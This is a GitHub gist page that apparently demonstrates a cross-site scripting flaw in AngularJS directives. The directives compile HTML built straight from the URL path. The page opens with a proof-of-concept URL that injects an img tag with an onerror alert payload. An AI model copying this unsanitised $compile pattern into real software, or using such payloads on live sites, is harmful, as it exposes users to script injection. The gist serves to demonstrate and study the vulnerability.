http://localhost:12345/angular/component/landing_bar%22%3E%3Cimg%20src=aaa%20onerror=alert(42)%3E
Last active
August 29, 2015 14:25
-
-
Save DinisCruz/986e37c98a2bedeff441 to your computer and use it in GitHub Desktop.
XSS in Angular Directive
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
extends index.jade | |
append head | |
base(href='/angular/component/') | |
script. | |
angular.module('TM_App') //disable routing | |
.config( | |
function($stateProvider, $urlRouterProvider, $locationProvider) | |
{ | |
$urlRouterProvider.deferIntercept(); | |
}); | |
append body | |
show_View |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
angular.module('TM_App') | |
.directive 'showView', ($compile,$location)-> | |
return { | |
link: ($scope,element)-> | |
viewName = $location.$$path.substring(1) | |
html = "<#{viewName}/>" | |
compiled = $compile(html); | |
content = compiled($scope) | |
element.append(content) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
angular.module('TM_App') | |
.directive 'showComponent', ($compile,$location)-> | |
return { | |
link: ($scope,element)-> | |
component_Name = $location.$$path.substring(1) | |
component = document.createElement(component_Name) | |
element.append $compile(component)($scope) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment